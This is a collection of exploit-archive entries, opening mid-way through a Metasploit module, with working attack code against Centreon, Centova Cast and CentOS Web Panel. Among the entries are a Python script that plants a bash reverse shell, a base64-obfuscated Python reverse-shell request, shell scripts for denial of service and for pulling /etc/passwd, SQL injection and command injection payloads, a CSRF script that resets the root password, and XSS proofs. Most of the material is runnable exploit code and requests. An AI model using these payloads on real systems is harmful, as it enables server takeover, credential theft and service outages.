    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end

    print_status("Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)

    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end

  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )

    res
  end

  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)

    res
  end

  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end

end
            
# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607 

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
    print("[+] Logged In, retrieving second token")

    page = url + "/main.get.php?p=50118"
    second_token_req = req.get(page)
    response = second_token_req.text
    s = BeautifulSoup(response, 'html.parser')
    second_token = s.find('input', {'name':'centreon_token'})['value']

    payload = {
        "RRDdatabase_path": "/var/lib/centreon/metrics/",
        "RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
        "RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
        "reporting_retention": "365",
        "archive_retention": "31",
        "len_storage_mysql": "365",
        "len_storage_rrd": "180",
        "len_storage_downtimes": "0",
        "len_storage_comments": "0",
        "partitioning_retention": "365",
        "partitioning_retention_forward": "10",
        "cpartitioning_backup_directory": "/var/cache/centreon/backup",
        "audit_log_option": "1",
        "audit_log_retention": "0",
        "submitC": "Save",
        "gopt_id": "",
        "o": "storage",
        "o": "storage",
        "centreon_token": second_token,


    }
    print("[+] Sendin payload...")
    send_payload = req.post(page, payload)

    trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
    print("[+] Triggerring payload...")
    trigger = req.get(trigger_url)

    print("[+] Check your listener !...")

else:
    print("[-] Wrong credentials")
    exit()
            
# Exploit Title: Central Management Software v1.4.13 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-16
# Homepage: https://www.ambientweather.com
# Software Link: https://p10.secure.hostingprod.com/@site.ambientweatherstore.com/ssl/Manuals/ambientcam/04_central_management_software.zip
# Tested Version: 1.4.13
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CMS client program. In the new window paste the content of 
# "exploit.txt" into the following fields:"Password". Click "Login" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 2000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: Centova Cast 3.2.12 - Denial of Service (PoC)
# Date: 2019-11-18
# Exploit Author: DroidU
# Vendor Homepage: https://centova.com
# Affected Version: <=v3.2.12
# Tested on: Debian 9, CentOS 7
# ===============================================
# The Centova Cast becomes out of control and causes 100% CPU load on all cores.

#!/bin/bash
if [ "$3" = "" ]
then
echo "Usage: $0 centovacast_url reseller/admin password"
exit
fi
url=$1
reseller=$2
pass=$3


dwn() {
echo -n .
curl -s -k --connect-timeout 5 -m 5 "$url/api.php?xm=system.database&f=json&a\[username\]=&a\[password\]=$reseller|$pass&a\[action\]=export&a\[filename\]=/dev/zero" &
}

for i in {0..32}
do
dwn /dev/zero
sleep .1
done
echo "
Done!"
            
# Exploit Title: Centova Cast 3.2.11 - Arbitrary File Download
# Date: 2019-11-17
# Exploit Author: DroidU
# Vendor Homepage: https://centova.com
# Affected Version: <=v3.2.11
# Tested on: Debian 9, CentOS 7

#!/bin/bash
if [ "$4" = "" ]
then
echo "Usage: $0 centovacast_url user password ftpaddress"
exit
fi
url=$1
user=$2
pass=$3
ftpaddress=$4

dwn() {
curl -s -k "$url/api.php?xm=server.copyfile&f=json&a\[username\]=$user&a\[password\]=$pass&a\[sourcefile\]=$1&a\[destfile\]=1.tmp"
wget -q "ftp://$user:$pass@$ftpaddress/1.tmp" -O $2
}

dwn /etc/passwd passwd
echo "

/etc/passwd:
"
cat passwd
            
# Exploit Title: Centos WebPanel 7 - 'term' SQL Injection
# Google Dork: N/A
# Date: 2020-03-03
# Exploit Author: Berke YILMAZ
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/
# Version: v6 - v7
# Tested on: Kali Linux - Windows 10
# CVE : CVE-2020-10230

# Type: Error Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
AND (SELECT 1197 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT
(ELT(1197=1197,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aRuO


# Type: Time Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
OR SLEEP(5)-- JCpP

Centos-Webpanel (http://centos-webpanel.com/)
CentOS Web Panel | Free Linux Web Hosting Control Panel
Free CentOS Linux Web Hosting control panel designed for quick and easy
management of (Dedicated & VPS) servers without of need to use ssh console
for every little thing
            
[+] Exploit Title: Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE)
[+] Centos Web Panel 7 - < 0.9.8.1147
[+] Affected Component ip:2031/login/index.php?login=$(whoami)
[+] Discoverer: Numan Türle @ Gais Cyber Security
[+] Author: Numan Türle
[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194
[+] CVE: CVE-2022-44877


Description
--------------
Bash commands can be run because double quotes are used to log incorrect entries to the system.

Video Proof of Concept
--------------
https://www.youtube.com/watch?v=kiLfSvc1SYY


Proof of concept:
--------------
POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login
--------------

Solution
--------
Upgrade to CWP7 current version
            
# Exploit Title: CentOS Web Panel - Domain Field (Add DNS Zone) Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 22 - April - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.793 (Free), v0.9.8.753 (Pro) and 0.9.8.807 (Pro)
# Tested on: CentOS 7
# CVE : CVE-2019-11429

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.793 (Free/Open Source Version), 0.9.8.753 (Pro) and 0.9.8.807 (Pro) is vulnerable to Reflected XSS for the "Domain" field on the "DNS Functions > "Add DNS Zone" screen.

# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "DNS Functions" > "Add DNS Zone"
3. In "Domain" field give simple payload as: "<script>alert(1)</script>//" , fill other details like IP and Admin Email and Click "Add DNS zone"
4. Now one can see that the XSS Payload executed.
            
# Exploit Title: CentOS Web Panel v0.9.8.793 (Free) and v0.9.8.753 (Pro) - Email Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 06 - April - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.793 (Free) and v0.9.8.753 (Pro)
# Tested on: CentOS 7
# CVE : CVE-2019-10893

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel v0.9.8.793 (Free/Open Source Version) and v0.9.8.753 (Pro) is vulnerable to Stored/Persistent XSS for Admin Email fields on the "CWP Settings > "Edit Settings" screen. By changing the email ID to any XSS Payload and clicking on Save Changes, the XSS Payload will execute.

# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "CWP Settings then Click on "Edit Settings"
3. In "Email Address" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed.
5. The application does not properly sanitize the user input even does not validation/check the user input is valid email id or not.
            
# Exploit Title: CentOS Web Panel 0.9.8.789 - NameServer Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 28 - March - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: 0.9.8.789
# Tested on: CentOS 7
# CVE : CVE-2019-10261

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.789 is vulnerable to Stored/Persistent XSS for the "Name Server 1" and "Name Server 2" fields via "DNS Functions" for "Edit Nameservers IPs" action. This is because the application does not properly sanitize the users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "DNS Functions" -> then Click on "Edit Nameservers IPs"
3. In "Name Server 1" and "Name Server 2" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed and even accessing the home page Stored XSS for nameservers executes.
            
# Exploit Title: CentOS Web Panel 0.9.8.763 - Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 10 - January - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.763 
# Tested on: CentOS 7
# CVE : CVE-2019-7646

# Description:
A Stored Cross Site Scripting vulnerability is found in the "Package Name" Field within the 'Add a Package (add_package)' module. This is because the application does not properly sanitize the users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "Packages" -> then Click on "Add a Package"
3. In "Package Name" field give payload as: <script>alert(1)</script> and provide other details and click on "Create"
4. Now again from Navigation Click on "Packages" -> then Click on "List Packages"
5. Now one can see that the XSS Payload executed.
            
# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
# Author: InfinitumIT (https://infinitumit.com.tr)
# Vendor Homepage: centos-webpanel.com
# Software Link: http://centos-webpanel.com/cwp-latest
# Version: Up to v0.9.8.740.
# CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
#? Detailed: https://numanozdemir.com/respdisc/cwp.pdf

# Description:
# Attacker can change target server's root password and execute command, by CSRF vulnerability.
# Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS
# vulnerability and run bad-purposed JavaScript codes on administrator's browser.
# So, CSRF/XSS to full server takeover.

# How to Reproduce:
# Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
# Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update newpassword as the password that you want to change.)

# If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
# After exploiting, you can connect to server by Putty or access the CWP panel with the password
# that you have specified from 2030 port.

# The second vulnerability is remote command execution.
# Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
# Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update whoami as command that you want to run.)

# Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

# shouldnt think that CSRF/XSS are unimportant vulnerabilities.
# for secure days...
            
# Exploit Title: Centos Web Panel 0.9.8.480 Multiple Vulnerabilities
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/system-requirements
# Version: 0.9.8.480
# Tested on: Centos 7
# Vulnerability Types: Command Injection, Local File Inclusion, Cross-site Scripting, Frame Injection
# CVE: -
  
### Vulnerability Name: Command Injection ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?service_start=opendkim;expr 268409241 - 2;x  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
HTTP Request:
 
GET /admin/index.php?service_start=opendkim%3bexpr%20268409241%20-%202%3bx HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
Note: Mathematical process: 268409241 - 2. So, the result is expected 268409239.
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 21:06:42 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
 
        <div class='alert alert-warning'>
                    <button type='button' class='close' data-dismiss='alert'>×</button>
                    <strong>WARNING!</strong> <pre>268409239
        sh: x.service: command not found
        </pre><br>
 
2)
Proof URL: http://localhost:2030/admin/index.php?service_restart=sshd;expr 268409241 - 2;x  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern: sshd%3bexpr+268409241+-+2%3bx
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=opendkim;expr 268409241 - 2;x  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_stop=named;expr 268409241 - 2;x  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern: named%3bexpr+268409241+-+2%3bx
 
### Vulnerability Name: Local File Inclusion ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern: %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
 
HTTP Request:
 
GET /admin/index.php?module=file_editor&file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 20:45:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
        File info <a href='index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd&stats=yes'>[stats]</a>:<pre>-rw-r--r-- 1 root root 2272 Sep 28 07:48 /../../../../../../../../../../../etc/passwd
        </pre><h3>Contents of File: /../../../../../../../../../../../etc/passwd</h3>
            <form action='' method= 'post'>
            <textarea id='textarea' name='newd' cols='100%' rows='50'>root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        sync:x:5:0:sync:/sbin:/bin/sync
        etc...
        
### Vulnerability Name: Cross-site Scripting & Frame Injection ###
 
1)
Proof URL: http://localhost:2030/admin/fileManager2.php?frame=3&action=8&cmd_arg=design&fm_current_dir=<scRipt>alert(1)</scRipt>  
Parameter Name: fm_current_dir  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
2)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&file=/etc/sysconfig/selinux  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_start=<scRipt>alert(1)</scRipt>  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=<scRipt>alert(1)</scRipt>  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
5)
Proof URL: http://localhost:2030/admin/index.php?service_restart=<scRipt>alert(1)</scRipt>  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
6)
Proof URL: http://localhost:2030/admin/index.php?service_stop=<scRipt>alert(1)</scRipt>  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
7)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=<scRipt>alert(1)</scRipt>  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
8)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&dir=/var/log  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
            
Document Title:
===============
CentOS Web Panel v0.9.8.12 - Multiple Persistent Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1836


Release Date:
=============
2018-01-19


Vulnerability Laboratory ID (VL-ID):
====================================
1836


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2017-01-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent validation web vulnerabilities has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
affected vulnerable modules.

The vulnerabilities are located in the `id` and `email_address` parameters of the `index.php` file POST method request. 
Remote attackers are able to inject script code to the POST method request to manipulate the item listing output context. 
The request method to inject is POST and the attack vector is persistent on the application-side. The injection points are 
the both add POST method requests and the execution point occurs in the output location of both modules.

The security risk of the web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 4.4. 
Exploitation of the persistent web vulnerabilities requires a low privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] phpini_editor
[+] mail_add-new
				
Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] id
[+] email_address


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Dork(s):
"powered by CentOS-WebPanel.com"


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=phpini_editor 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=phpini_editor]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      id[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      del[]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=94]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]

PoC: POST via Delete function in phpini_editor via Add your custom settings! input
<div class="row">
<h3>Simple php.ini editor</h3>
File Location: /home/test-dom/public_html/php.ini
<br><br>magic_quotes_gpc=>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>
 Removed!<META HTTP-EQUIV='refresh' CONTENT='1'>	
                </div><!-- End .row -->
            </div><!-- End contentwrapper -->
        </div><!-- End #content -->
    </div><!-- End #wrapper -->

Reference(s):
http://localhost:2030/index.php?module=phpini_editor 



--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=mail_add-new 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=mail_add-new]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      email_address[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      domain[test-domain.com]
      password[%3E%22%3CPAYLOAD INJECTION POINT!+src]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


PoC: POST via add Mailbox in email input 
<div class="row">
<br>Email domain <b>test-domain.com</b> created.
<br>Mailbox <b>a>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>@test-domain.com</b> created.
<br><h3>Create a New Email Account or Forwarder (MailBox/Forwarder)</h3>
Here you can create a new email account or forwarder.
<br><br>
<div class='row'>
	<div class='col-lg-8'>
		<div class='panel panel-default chart gradient'>
        <div class='panel-heading'>
			<h4><span class='icon16 icomoon-icon-bars'></span>
				<span>Create a New Email Account (MailBox)</span>
			</h4>
        <a href='#' class='minimize'>Minimize</a>
        </div>
        <div class='panel-body' style='padding-bottom:0;'>
<form action='' method= 'post'>
<input type='hidden' name='ifpost' size='0' value='yes'>
<table><tr><td>

Reference(s):
http://localhost:2030/index.php?module=mail_add-new 


Solution - Fix & Patch:
=======================
The vulnerabilities can be patched by a sanitize in the vulnerable `id` and `email address` parameters of the index.php file POST method request. 
Disallow usage of special chars and restrict the parameter input to prevent script code injection attacks. Filter in the output error location 
or the item listing the vulnerable location were the code point occurs.


Security Risk:
==============
The security risk of the application-side input validation vulnerabilities in the web-application are estimated as medium. (CVSS 4.4)


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
